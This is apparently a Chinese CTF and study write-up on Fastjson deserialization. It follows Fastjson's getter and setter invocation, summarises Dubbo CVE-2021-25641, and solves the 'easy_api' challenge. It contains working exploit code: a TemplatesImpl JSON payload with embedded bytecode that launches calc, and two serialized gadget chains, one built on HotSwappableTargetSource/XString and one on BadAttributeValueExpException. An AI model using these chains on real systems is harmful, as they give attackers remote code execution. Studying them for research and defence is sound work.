Fastjson之任意get、set调用
get、set
在这以TemplatesImpl链来讲:
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
public class Demo { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQAOwoACQAqCgArACwIAC0KACsALgcALwcAMAoABgAxBwAyBwAzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2V4YW1wbGUvZmFzdGpzb25fdG9zdHJpbmcvZXZpbGNsYXNzOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBABBNZXRob2RQYXJhbWV0ZXJzAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAC8BAApTb3VyY2VGaWxlAQAOZXZpbGNsYXNzLmphdmEMAAoACwcANQwANgA3AQAEY2FsYwwAOAA5AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADoBACdjb20vZXhhbXBsZS9mYXN0anNvbl90b3N0cmluZy9ldmlsY2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAACQARABIAAgAMAAAAKwAAAAEAAAABsQAAAAIADQAAAAYAAQAAABYADgAAAAwAAQAAAAEAEwAUAAAAFQAAAAUBABMAAAABABYAFwADAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAGwAOAAAAIAADAAAAAQAPABAAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQAVAAAACQIAGAAAABoAAAABABYAHgADAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAIAAOAAAAKgAEAAAAAQAPABAAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0AFQAAAA0DABgAAAAfAAAAIQAAAAgAIwALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAOAAkAEQAMAA8ADQAQABYAEgAOAAAADAABAA0ACQAkACUAAAAmAAAABwACTAcAJwkAAQAoAAAAAgAp\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}"; JSON.parseObject(payload, Feature.SupportNonPublicField); } }
|
其中的字节码base64加密过了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package com.example.fastjson_tostring;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64;
public class Demo { public static void main(String[] args) { byte[] buffer = null; String filepath = "C:\\Users\\22927\\Downloads\\fastjson_tostring\\target\\classes\\com\\example\\fastjson_tostring\\evilclass.class"; try { FileInputStream fis = new FileInputStream(filepath); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Base64.Encoder encoder = Base64.getEncoder(); String value = ((Base64.Encoder) encoder).encodeToString(buffer); System.out.println(value);
} }
|
在这里FastJson的版本为1.24,高了的话有waf,但也可以绕过,参考下P的文章
断点给在JSON.parseObject
:

实际上也是调用了parse方法,做了一层强转封装,继续跟进:

还是进了parse,继续跟:

还是一个parse,从这里可以发现parseObject方法实际就是parse的封装,这里的parser是DeafaultJsonParser
:

继续跟进:

因为token是12所以进入了case12,调用了this.parseObject
,在该方法中将key提取出:

然后加载恶意类:

跟进loadClass,这里就是将恶意class放入mapping中

然后回到DeafaultJsonParser,调用getDeserializer
将恶意类进行JSON反序列化:

然后跟进该方法,到了PaserConfig类,调用了该类的getDeserialzier:

在里面创建了个JavaBeanDeserializer:

在这个方法中调用了JavaBeanDeserializer的构造方法:

进入了JavaBean.build方法中:

在这里面寻找get和set方法:



可以看到调用了getOutputProperties,接下来就是一个TemplatesImpl字节码加载了
get
准备一个pojo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.example.fastjson_tostring;
public class User { private String name; private String address;
public String getName() { System.out.println("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; } }
|
1 2 3 4 5 6 7 8 9 10 11
| package com.example.fastjson_tostring;
import com.alibaba.fastjson.JSON;
public class getdemo { public static void main(String[] args) { User user=new User(); String JSON_Serialize = JSON.toJSONString(user); System.out.println(JSON_Serialize); } }
|
直接运行会发现:

调用了get方法,断点分析一下:

还是调用toJSONString
,继续跟进:

依然是一个toJSONString,和上面很像是一层层封装:

最后在该toJSONString方法中调用了serializer.write
方法:

调用writer.write方法,这里的writer是ASMSerializer_User,一个和User有关的类,继续跟进:

就到了getName方法了,这里的逻辑无法查看QWQ,ASMSerializer_User调试看不到,只要知道会调就好了
set
对应的是JSON.parse方法,逻辑类似就不调试了
FastJson反序列化链
- TemplatesImpl链
- JdbcRowSetImpl链子
其中第一条更偏向于CC链,第二条就纯纯是JNDI注入了
https://tttang.com/archive/1579/#toc_
https://xz.aliyun.com/t/12096#toc-3
Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641)
漏洞原理
Dubbo Provider即服务提供方默认使用dubbo协议来进行RPC通信,而dubbo协议默认是使用Hessian2序列化格式进行对象传输的,但是针对Hessian2序列化格式的对象传输可能会有黑白名单设置的限制,参考:https://github.com/apache/dubbo/pull/6378
针对这种场景,攻击者可以通过更改dubbo协议的第三个flag位字节来更改为使用Kryo或FST序列化格式来进行Dubbo Provider反序列化攻击从而绕过针对Hessian2反序列化相关的限制来达到RCE。
影响版本
- Dubbo 2.7.0 to 2.7.8
- Dubbo 2.6.0 to 2.6.9
- Dubbo all 2.5.x versions (not supported by official team any longer)
POC
https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/blob/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java
原理
不调试的原因
就是你跟着文章看完了你也就大概懂了一半了,加入单纯为了学习就看看就好了
FastJson toString链
西湖论剑2023[easy_api]
分析
根据这道题来学习一下这条链,首先可以看一下这一题的主要路由

在这直接进行了一个反序列化,参数可控,但首先有几层bypass:

先要绕过这两filter,用//api/test
去绕过就可以,重点不在这,题目用的是CustomObjectInputStream
进行的反序列化,可以看看逻辑:

做了一层过滤,不允许我们使用java.lang.reflect.Proxy", "javax.management.BadAttributeValueExpException", "sun.rmi.server.UnicastRef", "sun.rmi.transport.LiveRef", "sun.rmi.transport.tcp.TCPEndpoint", "java.rmi.server.RemoteObject", "java.rmi.server.RemoteRef", "java.rmi.server.ObjID", "java.rmi.RemoteObjectInvocationHandler", "java.rmi.server.UnicastRemoteObject", "java.rmi.registry.Registry
这几个类,可以看到BadAttributeValueExpException被ban了,今天要讲的是触发fastjson的tostring,BadAttributeValueExpException是可以触发的,因此需要寻找替代品
POC
就不多BB了,在上面的CVE中用到了使用xstring的方法去触发toString,我们直接拿poc来调试分析一下即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import org.springframework.aop.target.HotSwappableTargetSource; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; public class fj_gadget { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\CTF\\Security_Learning\\ROME\\target\\classes\\shell.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); JSONObject jo = new JSONObject(); jo.put("1",templatesimpl); HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object()); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(h1,h1); hashMap.put(h2,h2); Class clazz=h2.getClass(); Field transformerdeclaredField = clazz.getDeclaredField("target"); transformerdeclaredField.setAccessible(true); transformerdeclaredField.set(h2,new XString("xxx")); System.out.println(serial(hashMap)); String payload = "..."; } public static String serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); CustomObjectInputStream ois = new CustomObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
调试流程
这里就本地直接起一个SpringBoot将主要路由逻辑拿过来就好了,就不加Filter,先引入依赖:
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.48</version> </dependency>
|

在readObject处下断点分析:

首先进入的HashMap的readObject方法,因为我们最外层就是hashmap:

然后就和URLDNS链一样到了putval函数:

在putval函数中调用了equals方法:

这里的key是一个HotSwappableTargetSource
,这个类充当跳板作用,调用它的equals方法:

在调用它的target属性的equals方法,这里我们反射修改target为xstring方法了,跟进:

这里就调用了JsonObject的toString方法,这就是这篇文章的重点:

这里调用了JsonObject#toJSONString
,到这儿就回到了第一P种的任意get和set触发了,这里会触发get方法,也就是TemplatesImpl的getOutputProperties

调用newTransformer,接下来就是CC3的部分了,不再赘述
无Waf的解法
如果这一题没有重写ObjectInputStream,没有禁用的话,那么除了上述解法,也能用BadAttriubutexxxx中的toString
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package com.example.fastjson_tostring;
import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
public class exp { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\22927\\Downloads\\fastjson_tostring\\target\\classes\\com\\example\\fastjson_tostring\\evilclass.class"));
setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
JSONObject jo = new JSONObject(); jo.put("1",templatesimpl); BadAttributeValueExpException exp = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jo); System.out.println(serial(exp));
}
public static String serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); CustomObjectInputStream ois = new CustomObjectInputStream(bais); ois.readObject(); ois.close(); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
简短的多了,传入之后成功弹出计算机:
